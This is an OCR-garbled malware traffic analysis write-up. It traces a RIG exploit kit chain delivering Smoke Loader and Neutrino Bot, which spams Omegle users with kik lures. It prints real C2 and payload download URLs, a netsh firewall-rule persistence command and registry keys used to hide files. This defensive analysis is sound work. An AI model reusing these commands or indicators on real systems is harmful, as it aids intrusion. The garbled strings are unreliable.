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Brief History

These infection chains began from I0Cs collected by Zain Gardezi over at FireEye. You can
read the report HERE. The report contained a lot of IOCs, but the one that | want to
highlight is the IP address 173.208.245.114. | was interested in this IP because the host
using it was acting as a shadow server, hosting numerous domains that were redirecting
victims to Sundown EK.

Some of the most recent domains resolving to that IP address include maddow.club and
sayvinatge.club. Using those two domains as my referers proved to be successful as my host
was redirected to RIG exploit kit numerous times. | don’t have time to go over each infection
chain, but they are all similar. So, one example should do just fine.

Infection Chain

The infection chain I’'m using as my example is from the Third Run. The infection begins
when | visited sayvinatge.club. Below is the GET request for the domain and the web servers
response:

GET / HTTP/1.1

Accept: text/html, application/xhtml+xml, */*

Accept-Language: en-U5

User-Agent: Mozilla/5.8 (Windows NT 6.1; WOWE4; Trident/7.8; rv:11.8) like Gecko
Accept-Encoding: gzip, deflate

Host: saywinatge.club

Connection: Keep-Alive

HTTP/1.1 382 Found

Date: Sat, 61 Apr 2817 @6:47:82 GMT

Server: Apache

Location: http://freeonlinecoupons.ml/go.php
Content-Length: 213

Keep-Alive: timeout=5, max=186

Connection: Keep-Alive

Content-Type: text/html; charset=iso-3859-1

<!DOCTYPE HTML PUBLIC ™-//IETF//DTD HTML 2.8//EN™>

<html><head:

<title»382 Found</titlex

</head><body:

<h1>Found</hlz

<p>The document has moved <a href="http://freeonlinecoupons.ml/go.php"*here</a>.</p>
</body></html>
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The server responds with a “302 Found” and gives the new location of
freeonlinecoupons.ml/go.php.

My host then makes a GET request for the go.php hosted at freeonlinecoupons.ml:

GET /go.php HTTP/1.1

Accept: text/html, application/xhtml+xml, */*

Accept-Language: en-US

User-Agent: Mozilla/5.@ (Windows NT 8.1; WOWE4; Trident/7.8; rv:11.8) like Becko
Accept-Encoding: grip, deflate

Host: freeanlinecoupons.ml

Connection: Keep-Alive

HTTP/1.1 382 Found

X-Powered-8y: PHP/5.8.2%

location: http://temp.askthevendor.com/ ?q=wijQMXcInDQCYbEMrESLEF K2Ir2_dqyEoH9e2ni B2aChoq=m2Fp_ULKTeFMANNiBHSCLZ1nYdVEFITpa-qlEGGmxHILpEE - xZYUTpLuB SUbI ct=soul Bqtuif=-1323
Content-Type: text/html; charset=UTF-8

Content-Length: @

Date: Sot, @1 Apr 2817 @6:47:83 GMT

Accept-Ranges: bytes

Server: LiteSpeed

Cache-Control: no-cache, no-store, must-revalldate, max-age=@

Connection: close

Again, we see a web server respond with another “302 Found” with the new location being
that of a RIG exploit kit landing page at temp.askthevendor.com:

1 <htmlz<head»

2 <meta http-equive™X-UA-Compatible” content="IE=1@">»
3 <meta charset="UTF-8§">
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The browser loads the landing page and it is visible to the user (it usually happens out of the
users view):
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Below is an image of the traffic from the Third Run:

IDestnation DstPort Host Inf

We then see the Flash exploit being sent to the host which is eventually followed by the
malware payload: ask33u6p.exe (Smoke Loader). The script responsible for downloading the
payload is 032.tmp, which is dropped and executed in % TEMP%.

Later on in the infection we see Smoke Loader generate GET requests for additional
malware: s927397.exe (aka 1D95.tmp.exe) which appears to be an updated version of
Smoke Loader and smoke927397.exe (aka 4CC4.tmp.exe) which turns out to be Neutrino
Bot. There is an excellent article written by Hasherezade and Jérbme Segura about Neutrino
Bot on the MalwareBytes Lab blog which you can read HERE.

Here is an image of my % TEMP% folder after many hours of letting my computer site idle:
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é(_>v| . = Local Disk (i) = Users = LAE = AppCata = Local = Temp - ml search Temp

Organize *  Includeinlibrary +  Sharewith +  Mew Folder SEER E;l @I
¢ Favorites Mame Dake modified =« | Type | Size
Bl Desktop | FasaPIDebuglogFile. bxk 171812017 2:07 PM Text Document OKE
- Downloads [0 aska3ucp.exe 312017 1147 PM Application 124 KB
&L Recent Places | o32.tmp 3{31j2017 11:47 M TMP Fle 2 KE
=3 Libraries (577 ziontrd.exe 3312017 11:47 PM Application 124 KB
3 Documents (57 radheswp.exe 3312017 11:47 PM Application 124 KB
J‘. Msic == ighfoshl, exe 3312017 11:47 PM Application 174 KB
= Pictures (577 roiz30dd. exe 3312017 11:47 PM Application 124 KB
E Wideos (57 5027397 exe 4112017 12:04 AM Application 120 KB
[87] srmoke9z7397 . exe /112017 12:05 Al Application 176 KB
18 Computer
L WNS48, tmp 4/112017 12:23 AM TMP File 0KE
&h Metwork [ froda,bmp, exe 4112017 12:23 AM Application ZKEB
L NNS7AB Emp 4112017 12:23 &AM THP File OKE
CE MM3ITAE kmp.exe 4/112017 12:23 AM Application 120 KB
L NNSFaC Emp 412017 12:23 AM THMP File 0 KB
== MMNS7aC . kmp.exe 4112017 12:23 Al Application ZKE
L | MMNB3ZE.tmp 4112017 12:24 &AM TMP File 0KE
L NNE3a0Emp 4/112017 12:24 AM THMP File OKE
L NNASFL Emp 4112017 12:24 &AM THP File OKE
L NNA&AD Emp 41112017 12:24 &AM TP File 0 KB
L NNDIED.Erap 4/112017 12:24 AM THMP File OKE
L | MND3E93.kmp 4112017 12:24 &AM THP File 0KE
L WNNFEal Emp 41112017 12:24 &AM TP File 0 KB
L NNFIF9.Emp /112017 12:24 AM THP File 0KE

' 23 items

If Neutrino bot detects that it is in a VM it deletes itself. It it passes checks then it copies itself

to %APPDATA%:

e i
el\ )v| . = _USER_ = AppData = Roaming = - ml Search Roaming

Organize *  Inclodeinlibrary + Sharewith +  Mew Folder SEER m @
e Eavorites - Mame Drate modified | Tvpe | Size | |
Bl Deskiop | tdabe 1/18/2017 2:15 PM File: Folder
8 Downloads | Identities 1/18(2017 206 PM File folder
Kl Recent Flaces | Macromedia 1/18/2017 2:35PM  File Folder
3 Libraries | Microsoft 4112017 2:01 PM File Folder
3 Documents J Sun 1/18/2017 2:37 PM File Folder
A Music LI
’ 3 items

The folder alFSVWJB is hidden from the my view
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However, the folder and the malware are hidden from my view. That being said, | can see
from the running processes (gjhax_16.exe) and the location of the file that the malware
copied itself to %APPDATA% in a folder called alFSVWJB
(C:Users[Username]AppDataRoamingalFSVWJBgjhax_16.exe):

i x

oy -
‘l\_)l\_) |+ USER_ - AppData = Roaming = alFSyiIB - [ﬂ“ Search alFSvwIE E]'
Organize = Include inlibrary *  Share with +  Mew folder = ~ [ @
- - ;
5¥ Favorktes Mame ~ Dake modified | Tvpe | Size | |
Bl Deskiop

& Downloads

U
=l Recent Places

- Libraries
@ Documents ;I

) 0 items

This folder is empty.

[N gijhax_16.exe Properties

General IEnrq:.ujbityI Smil}-l Dal:ailsl F'rauinmh'mimsl

Il_jj Igihan_'l G.exe

Type of file:  Application [exe)

Descipbore gihax_16.exe

Locatan C; W zershLAB A ppD ata' A oaminghalF S B
Size: 176 KB [180.224 bytes]
Size on disk: 176 KB [180.224 bytes]

Created: Today, Apal 07, 2017, 14 howrs ago
Modified: Today, Apal 07, 2017, 14 howrs ago
Accessed: Today, Apdl 01, 2017, 14 howrs ago

Attributes: W Readory ¥ Hidoer Advanced.. |

X|

[ ok | cawe | e

You can also verify that the malware copied itself to %APPDATA% by looking at HKCU Run

and HKLM Run:
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Registry Editor ;IEIEI

File Edit Yiew Favorites Help

. PropertySyskem ;I Mame | Type | Draba

. Reliability ; REG_SZ {walue not set)

| RenameFiles gﬂg]hax_lﬁ.exe REG_SZ Ciiisers\LAB\AppData\RoaminglalF sy B\ gihax _16.exe

o Run EﬂSunJavaUpdateSched REG_SZ "C+\Program Files {86\ Common Filesi JavalJava Updateljusched. exe”
. RunOnce

. SetkingSync -

| Setup LI ‘I I

|C0mputer'l,HKE\"_LOCAL_MACHINE'l,SOFTWARE'l,Wow6432N0de'|,MicrosoFt'l,Windows'l,CurrentVersion'l,Run

The malware remains hidden by modifying the following registry keys:

| Bl

HKCUSoftwareMicrosoftWindowsCurrentVersionExplorerAdvancedHidden
HKCUSoftwareMicrosoftWindowsCurrentVersionExplorerAdvancedShowSuperHidden

Here are more entries as well as a base64 encoded value containing C2 information:

=10l x|
Wy Ext = [ Mame | Type | Data |
#- | Group Polcy ] Dafauit) REG_SZ (value nt set)
&l | HomeGrou ""]'ju?‘shwncll] REG_SE CARECYCLER]S-1-5-21-0243556031 -BBEE98379-7H1 862 336- 1 268526001 jaTshayne 1 0, sxe
|"T'1 L ime _ b ljg7shaynez REG_SZ C\RECYCLERIS-1-5-21-024 3556031 -B65538379-761 862336-1 26552600 aTshayne exe
P:I k :‘gfmt Settings J 2] fja7shayne3 REG_5Z CARECYCLERIS-1-5-21-02435560 31 - 6658903 70- TE1 852338 | 06552800 aFshayne 3. axe
'7' Ak Pohcies ab|ja7shayned REG_SZ CARECYCLERYS+1+-5-21-024 3556031 -BBEE89379- 761 862336~ 1 96852800 fja7shayrie . exe
-y 28] fja7shaynes REG_SZ CHARECYCLER|S-1-5-21-0243556031-666560379-701 862336-1 965520001 lja7shaynet. exe
: - 2b] a7shayne? REG_SZ C:\RECYCLERYS- 1-5-21-0243556031-B88588370-TB 1 862338- | A6852800 aTshayne . exe
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H- |, Sidebar ab] sevhchost232 REG_SZ CH\RECYCLER]S-1-5-21-024 3556031 -B55538379- 781 86 2335- 1 06529845 L \sovhchost 232 exe
B L Tekephory .-??_|9cufd-ost6}2 REG_SZ CARECYCLER]S-1-5-21-024 35560 31 -B5558837 0. FB1 562 338- 1 985798451 sovhchost 732,00
i |, ThemeManager ] sevhihoste? REG_SZ CHRECYCLER1S-1-5-21-0243556031-8B5888379- 761 862338- | 96598045 1 |scvhchast 932, axn
@ | Themes '_"_J-xvhd-os{mzsuua REG_SE C\RECYCLER]S-1-5-21-024355603 1 -BEE590379-761 962336 | 26352600  scvhchoshoienna. exe
B WinTrust b sevthchow0ad REG_SZ CHARECYCLERTS-1-5-21-02435560 31 -865538379- 751 862336 1 28852600 scvhchn0ad. exe
L D | sycenanz REG_SZ CHRECYCLERYS- 1-5-21-024 3556031 -655539379- 761 862336-60854721 1011232\ systoez.oxe
- Shell ""|syﬂm\i‘ldun§3‘2 REG_SE CARECYCLERYS-1-5-21-024 3556031 -BEEEIAITS-7H1 862338 1 96352600 sy stemwindows 32, exe
& Jy TabletPC
| { @ | Windows Error Reporking ﬂ
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REG_SZ i nok set)

B ag | D0MSRID  REG_ST L]

b | | 0G0 IEETE117 REG_ =2 1]

k| | &1 (74T TSI REG_ST o

b 1aOTEMAITATIE  REG ST o

k|1 &3I07RMIS1263F  REG_SZ o

S E0TOCATATE  REGST L]

b1 4FI07E0S12B0625  REG_SZ 1]

k| ] &3] (TG ZEE REG_ST o

b 1e0TEONSA430  REG SZ L]

k|1 &3I0TRLEGZI4ETS  REG_SZ o

2| a3 O Te24E | 5000 REG ST [:]

b 4FI07EIT41L99E  REG_SZ 1]

B &SONERITIY  ROG_H o

Al | i 10T L BATEDT REG =2 o

k| 143 10BNEEASEIZ  REG_ST o

2| a3 | DS a4 S REG 2T [:]

3k | 143 L0BD BETLESA REG_SZ L)

b 143 100G ROG_ST L]

ab|add 10B03eEadia  REG ST 1]

ab| &3] |OBOSEIEIETD  REG_SZ o
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You'll notice that the value in “a” (HKCUSoftwarealFSVWJB) contains the base64 encoded
string “aHROcDovL251dHN5c3RIbTEUYmIOL25Id2ZpejIxL2xvZ291dC5waHA=". This string
decodes to “hxxp://nutsystem1.bit/newfiz21/logout.php”.

The malware also added itself into the firewall’s whitelist via the command:

cmd.exe " /a /c netsh advfirewall firewall add rule name="alFSVWJB" dir=in
action=allow program=%APPDATA%alFSVWJBgjhax_16.exe"

An example of this can be seen in the process tree below:

Analysed 7 processes in total (Systern Resource Monitor)

L @7 smoke927397 exe (PID: 2352) E LG
[ jvauyc32 exe (PID: 2660) B [

L i netsh exe netsh advfirewall firewall add rule name="alFSVW]B" dir=in action=allow program="%APPDATA%:\alFSVW|B\jvauyc32 exe (PID: 3804) @

Tu cmd.exe /a /c netsh advfirewall firewall add rule name="alFSVW]|B" dir=in action=allow program="%APPDATA%:\alFSVW|B\jvauyc32.exe" [PID: 3800) @

1] jvauyc32 exe (PID: 3464) B = [T
micmd.exe /a fc ping 127.0.01 -n 3&del "C\SMOKE9-1.EXE" (PID: 2684) @
L @1 PING EXE ping 127.0.01 -n 3 (PID: 2764) @

@ Reduced Monnoing | & Logged Script Cals | 2 Logged Stdout [ Extacted Steams B Memory Dumps | &% Network Activity 8 Multiscan Match

Processes showing command

Following these events we see the Neutrino bot beacon out the word “enter” to
nutsystem1.bit/newfiz21/logout.php and the response from the server is “success” (“enter”
and “success” are base64 encoded)
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POST /newfiz21/logout.php HTTP/1.8
Host: nutsysteml.bit

User-Agent: Mozilla/5.8 (Windows NT 6.1; WOWe4; rv:39.8) Gecko/28108181 Firefox/38.0
Content-type: application/x-www-form-urlencoded

Cookie: auth=bcB@s595448e801f8a5d2a2adl3ba7alb
Content-length: 12

_wWw=IW58IXI=

HTTP/1.1 484 Not Found

Date: 5un, 62 Apr 2817 16:11:35 GMT
Server: Apache/2

X-Powered-By: PHP/5.6.20

Status: 484 Not Found

Wary: Accept-Encoding,User-Agent
Content-Length: 356

Content-Type: text/html; charset=UTF-8

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.8//EN">

<htmlz<head:

<title>484 Not Found</title>
</head><body>

<hl>Not Found</hlx

<p>The requested URL /newfiz2l/logout.php was not found on this server.</p»

<prAdditionally, a 484 Not Found

error was encountered while trying to use an ErrorDocument to handle the request.</p>

</body></hitml><! ---c3Vi¥2Vzow==--->

ZW50ZXI = enter and c3VjY2Vzcw = success

Following the response we see another POST request

to nutsystem1.bit/newfiz21/logout.php:

POST /rewfizdl/logeut.php HTTR/1.@

Host: nutsysteml.bit

User-Agent: Moz illa/5.8 (Windows NT 6.1; WOWE4; rv:30.8) Gecko/28168181 Firefox/33.0
Content-type: application,/x-wew-form-urlencoded

Cockie: auth=bcBR5S05448:801FBa5d2aZadldba701b

Content-length: 156

_ww=¥ 21k EWYmI NTExLTY ZMGE tNOYI Yy A5 ZGE 3LTABY ZAS0GMSM j EwMSZX SUSLVT VT EpQVDFRQk Iev2 LuZ 69 3cyUyMOC 1MjAoN QT Yml 865 Yx T kd 1Mk ZB 1 jUUMI YwMSawhC 4y HDE 31 EyMDQyHDE 2 YWE=

HTTP/1.1 484 Mot Found

Date: Sun, 82 Apr 2017 16:12:15 GMT
Server: Apache/2

X-Powered-By: PHP/S.6.29

Status: 484 Mot Found

Wary: Accept-Encoding,User-Agent
Content-Length: 1272

Content-Type: text/html; charset=UTF-8

<|DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.8//EN">

<htal><head>

ctitle>d4@4 Not Founde/titles

</head><body>

<hl>Not Found</hlx

<p>The requested URL /newfiz2i/logout.php was not found on this server.</p»
<prAdditionally, a 484 Not Found

error was encountered while trying to wse an ErrorDocusent to handle the request.</p>
</body><//htmls<l -~

MTQA0T W ZHLNTUZODE XMy Ny YR L TDT T Q2OTEWMDASH g AwMCHIb 3R abbes TXT SHTQSHT EwhzE SNOQBNT YiblyWHT BF ERVI gaHROCDow L TE I0C SN ThouMzY UNDMwC ZhoyMzwhC 5 1eGU JHTOSHT EwdD A Y4NT g zMy NHTOF ERVIgatR
BcDovLzEI0CHNT kuMz YuNDHMTUZY ThyNz QWL S LeGUiMTQSHTEwODAMDYANFQyNSNMTEF ERVIgaHRACDoVL 2 E IOC4xNTRUMZ YURDMYMTUZY JhyNzQuiC 5 LeGUFMTQRHT EwDDAXDDY IMT g INCNHTOF ERVIgaHRBcDovLZEIOC4xNTRUMZ
VihDHMT C5H] cBMDALZXh LT ZE80T ExMDgwi1] ¥ zMT gSNDK TESBREVS IGh@dHAS LY BxNzguMTUSL IM2L JQzL zcBOT T SNDAWLIVAZ SHD kT A4HDMBNQSMDEZ TOXPQURFLH BodHRWOLBVMT c4L JE10S4zNIS8My Bxt E S ceMDAUZXh 1T
ZEBOTEXMDERNTYyNIg2NzA] TEIBREVS IGhBdHAELY BNz gUMTUSL IM2L JQz L ZEyMzky Nz QM5 1aGUJHTESMTEWODAZND CHHDO2MSHMT BF EAVI gaHRBCDovL 2E30C 43T KUMZ Y uNDMVODUSH] cOMDAL ZXh 1 IZEROTExMD Wz IR00CyMDE |
TESBREVSIGhBIHABLYSxMzgUMTUSL JM2LIQzL 2 TyN] kyNzQwHC5 L eGUMTQSHTEWODASMTULOT cAMINMTER ERVT gaHRBC DovL ZE 30CAxNT kuMzYUNDMVMZESM] cOMDALTXN 1 1 ZEBOTEXMDEWOTASHOMYNT A § TE9BREVS IGhBdHAG Ly SxNzE

WMTUSLIM2LIQzLZE2MTKYNZQWMCSLeGUy - - -

The malware collects information about the host via some base64 encoded data:

cmd&10bbd51x-660x-467x-9dax-04c078c4210X&WIN-U2ULIPT1QBB&WiNndows%207%20 (64 -

bit)&1&N%2FA&5.28&01.04.2017&12042016a0

More base64 encoded data is in the response:
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POST /newfiz21/logout.php HTTP/1.8

Host: nutsysteml.bit

User-Agent: Mozilla/5.8 (Windows NT 6.1; WOWE4; rv:39.8) Gecko/28100181 Firefox/38.8
Content-type: spplication/x-www-form-urlencoded

Cockie: auth=bcBB535440e881fBaSdlaZadl 3791k

Content-length: 156

_wy=¥ 21k 1 JEWYm) N TExLTY ZMGE tNDY 3Yy A5 IGE ILTABY ZA J0GMEM ] EwHS IXSUALVT IVTEpQVDFAQK Imv2 1uZ69 JcyUyMOC 1M AoN QT Yml K5 Yx 1k 1MKTB 1 JULMI YIS SiC 4y HDE 31 JEyMDQyHMDE 2 YHE=
HTTF/1.1 484 Mot Found

Date: Sun, 82 Apr 2017 16:12:15 GMT

Server: Apache/2

X-Powered-By: PHP/S.6.29

Status: 484 Mot Found

Vary: Accept-Encoding,User-Agent

Content-Length: 1272

Content-Type: text/html; charset=UTF-3

<|DOCTYPE HTML PUBLIC *-//IETF//DTD HTML 2.8//EN">

<html><head>

<title>484 Mot Found</titler

</head><body>

<hlzNot Found</hi>

<p>The requested URL /newfiz21/logout.php was not found on this server.</p>

<prAdditionally, a 484 Not Found

error was encountered while trying to wse an ErrorDocusent to handle the request.</p>

</bodyr</ htmlr<l---

MTQA0T WM ZHNTUZODE XMy Ny YRR LIDT T Q20T EWMOASH g4 AMCHID 3R abes ZXT JHTQSHT EwMzE SNOQBH by HMT BF ERVI gaMROCDowL ZE 30C SxNThuMzYUNDMwCZkyMzQwMCS LeGLJMTQSHT EwdD AWM YANT gzMyNMTOF ERVIgaHR
@cDoviLzEI0C4aNT kuMz YulDMMTUZY ThyNzQwHC 5 LeGUFMTASHT EwdDAKMDY 4N JQyNSNMTEF ERVIgaHRACDovL 2 E I0C4xNTuMz YulDMyMTUZY JkyNzQnhiC 5 LeGLFMTQ5HT EwdDAXDDY IMT g INCHMTEF ERVIgaHR@cDov L ZE 30C4x ThuMz
YuNDMVMT 54 cOMDALZXN]L T ZEGOTEXMDZWM Y ZMT gSNDk TESBREVS IGhAHAS LyBxNzgUMTUSL JM2L FQzLzcROT T 3NDAWLIVAZSMNDK:MT A4MDMBN JQ5MDE 2 TOXPQURF LI BodHRWOL BVMT c4L JE10S 42N 4@My BxMESMIcOMDALZXA1T
ZEBOTEXMDEWNTYyN]g2NzA] TEIBREVS IGhBdHAG Ly ExNz gUMTUSL JM2L 0z L zEyMzky Nz QniC 51eGUIHTQSHT EwODAZND CWHDQZMSHMTBF EAVI gaHRBcDovL E 30C4xNT kuMz Y uNDFhODUSH ] cBMDAW ZXh 11 2 E80T EXMD gz 1800y MDC |
TESBREVS IGhBJHAGLY B3Nz gUMTUSLJM2L QL 2Ty kyMNzQwhHC 5 LeGUFHMTOSMT EWDDASMTULOT c4MiNMTRFERVI gaHRBe DovL 2E 30CARNT KuMzYUNDMMZ g 5M | cBMDAUZ N 1 T2 EBOTEMDgWOTASHDMYNT A TESBREVS IGhBdHAG Ly Sxfizg
UMTUSLIMZLQzLzE2MThyNZQWMCS1eGU] - - - >

The base64 encoded data in the response decodes to:

1489603355568117#rate 2#1469100096882000#botkiller#1491107194447607#LOADER
hxxp://178.159.36.43/5927400.exe#1491108002685833#L0OADER
hxxp://178.159.36.43/156a927400.exe#1491108010686425#L0ADER
hxxp://178.159.36.43/156b927400.exe#1491108018671854#L0ADER
hxxp://178.159.36.43/17927400.exe#1491108026318949#L0ADER
hxxp://178.159.36.43/74927400.exe#1491108034649083#L0OADER
hxxp://178.159.36.43/121927400.exe#1491108056268670#L0OADER
hxxp://178.159.36.43/123927400.exe#1491108064704461#L0ADER
hxxp://178.159.36.43/85927400.exe#1491108072487207#L0OADER
hxxp://178.159.36.43/226927400.exe#1491108081559782#L0ADER
hxxp://178.159.36.43/38927400.exe#1491108090903250#L0ADER
hxxp://178.159.36.43/161927400.exe#

This prompts my host to download additional malware from 178.159.36.43:
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Destination DstPort Host Info

Host downloads additional files from locations retrieved by the C2

This is the part that threw me for a bit of a loop. You'll notice a lot of POST requests to
Omegle.com and its various subdomains. | had no idea what Omegle.com was but
apparently it's a website that allows users to connect to various servers and talk to random
strangers. Looking at the POST requests we can see the following pattern:

1. front3.omegle.com/start?rcs=1&firstevents=1&spid=&randid=UMKDFYRE&lang=en
2. front3.omegle.com/events

3. front3.omegle.com/send

4. front3.omegle.com/disconnect

It repeats this pattern over and over again, each time switching between subdomains
“front1.omegle.com” through “front15.omegle.com.” What is it doing exactly? Well, it is
connecting to the servers via /start?
rcs=1&firstevents=1&spid=&randid=UMKDFYRE&lang=en and then sends messages to the
strangers using POST /send. Once it is done spamming the message it disconnects from the
server via POST /disconnect and moves to the next one.
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The message being spammed on Omegle.com servers is as follows:

hi

wassup? girl here with picturesz

i'm soo bored. just kik me at:

[random kik username]

this is my kik user-name, im gunna wait for ya ;)

And here is the message shown on Omegle.com:

~ C { @ front2.omegle.com o %/’ [« ]

"

2§ Select Language ¥
Slomegle  raiostrangers 26,000+

You're now chatting with a random stranger. Say hi!
Stranger: hay

Stranger: wassup? girl here with picturesz

Stranger: 'm soo bored. just kik me at:

Stranger: ZurisKish

Stranger: that is my kik user-name, im gunna wait for ya ;)
Stranger has disconnected.

Find strangers with common interests (Enable)

Here is a TCP stream showing the messages being sent to Omegle.com:

POST fsend HTTR/1.1

Accept: text/javascript, text/himl, application/>ml, text/xml, */*
Referer: http://www.omegle.com/

Origin: http://wew,omegle, com/

Accept-Language: en-US, en; g=8.5

User-Agent: Mozilla/5.8 (Windows NT 6.1; WOWE4; rv:58.9) Gecko/2018@181 Firefox/5@.8
DNT: 1

Content-Type: application/x-wew-form-urlencoded; charset=utf-8
Host: frontS.omegle.com

Cookie: _ cfduid=do@ssbdbdodbebos4dodac5de7edb26461491266999
Content-Length: 5@

Accept=Encoding: gzip, deflate

id:5hardzij;\?nEalussh:c2mltl|t15npd53mixkeq1nHTTPh.1 28@ OK
Server: gunicorn/19.4.5

Date: Tue, 84 Apr 2017 80:58:88 GMT

Connection: keep-alive

Transfer-Enceding: chunked

Content-Type: text/plain

Access-Control-Allow-Origin: http://www.omegle. com/

Access-Control-Allow-Headers: Cache-Control, Destination,Content-Type, User-Agent, Depth, X-File-Size, X-File-Name, If-Modified-Since, X-Requested-With, Overwrite

Access-Control-Allow-Credentials: true
Access-Control-Max-Age: 86480
Cache-Contrel: no-cache

3
win

a

msg = hey
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POST fsend HTTR/1.1

Accept: text/javascript, text/html, application/ixml, textfuxml, /%
Referer: http://www.omegle.com/

Origin: http://wew.omegle. com/

Accept-Language: en-US, en; g=8.5

User-Agent: Mozilla/5.@ (Windows NT 6.1; WOWGd; rv:5@8.8) Gecko/28108161 Firefox/56.0
DNT: 1

Centent-Type: application/x-www-form-urlenceded; charset=utf-g
Host: frontS.omegle.com

Cookie: _ cfduid=d3@aabdbdddbebdd4didbcSdeTedb26461491 266999
Content-Length: 85

Accept-Encoding: gzip, deflate

Wid-shurdHEA?n3¢1u59hx2nklrt15upd83'aﬁxk:q1nm'ﬁ‘fi.1 260 0K
Server: gunicorn/19.4.5

Date: Tue, 84 Apr 20817 808:58:13 GMT

Connectien: keep-alive

Transfer-Enceding: chunked

Content-Type: text/plain

Access-Control-Allow-Origin: http://ww.omegle.com/

Access-Control-Allow-Headers: Cache-Control, Destination,Content-Type, User-Agemt, Depth, X-File-Size, X-File-Mame, If-Modified-Since, X-Requested-With, Overwrite
Access-Contral-Allow-Credentials: true

Access-Control-Max-Age: 56480

Cache-Control: no-cache

win
a

msg = friendly girl here. i love dogs &)

POST fsend HTTR/1.1

Accept: text/javascript, text/himl, application/>ml, text/xml, */*
Referer: http://www.omegle.com/

Origin: http://wew.omegle. com/

Accept-Language: en-US, en; g=8.5

User-Agent: Mozilla/5.® (Windows NT 6.1; WOWS4; rv:50.0) Gecko/20100181 Firefox/58.9
DNT: 1

Centent-Type: application/x-wew-form-urlencoded; charset=utf-8
Host: front5.omegle.com

Cookie: _ cfduid=d9gaabdbdadbebas4d9decsdeveab26461491266999
Caontent-Length: 77

Accept-Encoding: gzip, deflate

E‘r_“" ant+to+be-il; iend+or|+lciua?id:shardz!m\?nzalu;ghxmhtlswpdﬂmuk.eq:lnﬂ‘l“l‘l’!l.1 280 oK
Server: gunicorn/l19.4.5

Date: Tue, @4 Apr 2017 80:58:16 GMT

Connection: keep-alive

Transfer-Enceding: chunked

Content-Type: text/plain

Access-Control-Allow-Origin: http://www.omegle.com/

Access-Control-Allow-Headers: Cache-Control, Destination,Content-Type, User-Agent, Depth, X-File-Size, X-File-Name, If-Modified-Since, X-Requested-With, Overwrite
Access-Control-Allow-Credentials: true

Access-Control-Max-Age: 86480

Cache-Control: no-cache

win
a

msg = want to be my friend on kik?

POST J/send HTTP/1.1

Accept: text/javascript, text/html, application/xml, text/xml, */*
Referer: http://ww.omegle.com/

Origin: http://www.omegle.com/

Accept-Language: en-US, en; q=8.5

User-Agent: Mozillas/5.® (Windows NT 6.1; WOW64; rv:5@.8) Gecko/2810@161 Firefox/58.@
DNT: 1

Content-Type: application/x-wwwi-form-urlencoded; charset=utf-8
Host: frontS.omegle.com

Cookie: _l:fduid-d983ubdbdgdbeb944d9d5c5de?!9b26461491265999
Content-Length: 57

Accept-Encoding: gzip, deflate

Ese=tynrooudihid=shard2x3a7n3alus ohxanknt 15wpdB308xkeqlnHTTR/1.1 200 OK
Server: gunicorn/19.4.5

Date: Tue, 84 Apr 2017 @8:56:20 GMT

Connection: keep-alive

Transfer-Encoding: chunked

Content-Type: text/plain

Access-Control-Allow-Origin: http://wew.omegle. com/
Access-Control-Allow-Headers: Cache-Control, Destination,Content-Type, User-Agent, Depth, X-File-Size, X-File-Name, If-Modified-Since, X-Requested-With, Overwrite
Access-Control-Allow-Credentials: true

Access-Control-Max-Age: B638O

Cache-Control: no-cache

3

win
]

msg = LynrDowdle
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POST /send HTTP/1.1

Accept: text/jawascript, text/html, application/xml, text/xml, */*
Referer: http://www.omegle.com/

Ordgin: hetp://ww. omegle, com/

Accept-Language: en-US, en; gq=8.5

User-Agent: Mozillas/5.® (Windows NT 6.1; WOWS4; rv:58.@) Gecko/28180191 Firefox/58.8
DNT: 1

Content-Type: application/x-wwe-form-urlencoded; charset=utf-8
Host: fromtS.cmegle.com

Cookie: _ cfduid=d9@aabdbd3dbeba42d3d6c5de7eab26461491266999
Content-Length: 118

Accept-Encoding: gzip, deflate

Irsg=heresisimyskikilsersXICHame . +imigoing+totbetonsright+nowtE3EL20R 1 d=chard2%3a7n3alusohy2mint 1 SwpdE308xkeqlnHTTR/1.1 208 0K
server: gunicorn/19.4.5

Date: Tue, B4 Apr 2817 @8:58:24 GMT

Connection: keep-alive

Transfer-Encoding: chunked

Content-Type: text/plain

Access-Control-Allow-Origin: http://wew.omegle. com/

Access-Control-Allow-Headers: Cache-Control, Destination,Content-Type, User-Agent, Depth, X-File-Size, X-File-Name, If-Modified-Since, X-Regquested-With, Overwrite
Access-Control-Allow-Credentials: true

Access-Control-Max-Age: BE48@

Cache-Control: no-cache

msg = here is my kik User ,Name. im going to be on right now &

I’'m also seeing traffic to Instagram:
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GET /p/BScPTBAJDLV HTTP/1.1

Host: instagram.com

Connection: keep-alive

X=IG=Connection-Type: MOBILE

X-IG-Capabilities: 3Ro=

Accept-Language: en-Us

User-Agent: Mozilla/S5.8 (Windows NT 18.8; WOW64) AppleWebKit/537.36 (KHMTML, like Gecko) Chrome/43.8.2357.138 Safari/537.36 OPR/38.0.1835.125 (Edition Yx @1)
Accept-Encoding: gzip, deflate, sdch

HTTP/1.1 381 Moved Permanently

Location: https://www.instagram.com/p/B5cPTEAJDIV
Content-Type: text/plain

Server: proxygen

Date: Tue, 84 Apr 2017 88:42:22 GMT

Connection: keep-alive

Content-Length: @

@ HiphopseazonNYConls X

< C {t | @& Secure | https://www.instagram.com

©)  Instagram Getthe app

Indie;shnhe

1,269 views

hiphopseazon EEEEEEEEE

WE ARE NOW TAKING A SUBMISSIONS
FOR HIP HOP SEAZON 28's IPAY DAY!!
SHOWCASE OM MAY 22nd -FILL OUT THE
SUBMISSION LIMNK IN THE BIC TO ENTER
ToDAYI!

Login

GET /p/BSbk9LMDbn7 HTTP/1.1

Host: instagram.com

Connection: keep-alive

X-IG-Connection-Type: MOBILE

X-IG-Capabilities: 3Ro=

Accept-Language: en-Us

User-Agent: Mozilla/5.8 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.8.2498.8 Safari/537.36
Accept-Encoding: gzip, deflate, sdch

HTTP/1.1 381 Moved Permanently

Location: https://www.instagram.com/p/BSbk9LMDbn7
Content-Type: text/plain

Server: proxygen

Date: Tue, @4 Apr 2817 88:44:16 GMT

Connection: keep-alive

Content-Length: @
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@) Inas X on Instagram: “En. X

“ C % @ Secure | httpsy//www.instagram.com/p/BSbkaLM w

ql’lbtﬂg’lﬂﬁl Sign up | Log ir

inasx
Los Angeles, California

48,445 views

inasx Enjoy the process, enjoy the

progress #MondayMotivation |
dafljamiah @nichellom video by:
dluvinflyingcolors #Dreamer

jessiel_publicidade T
—

-

Log in

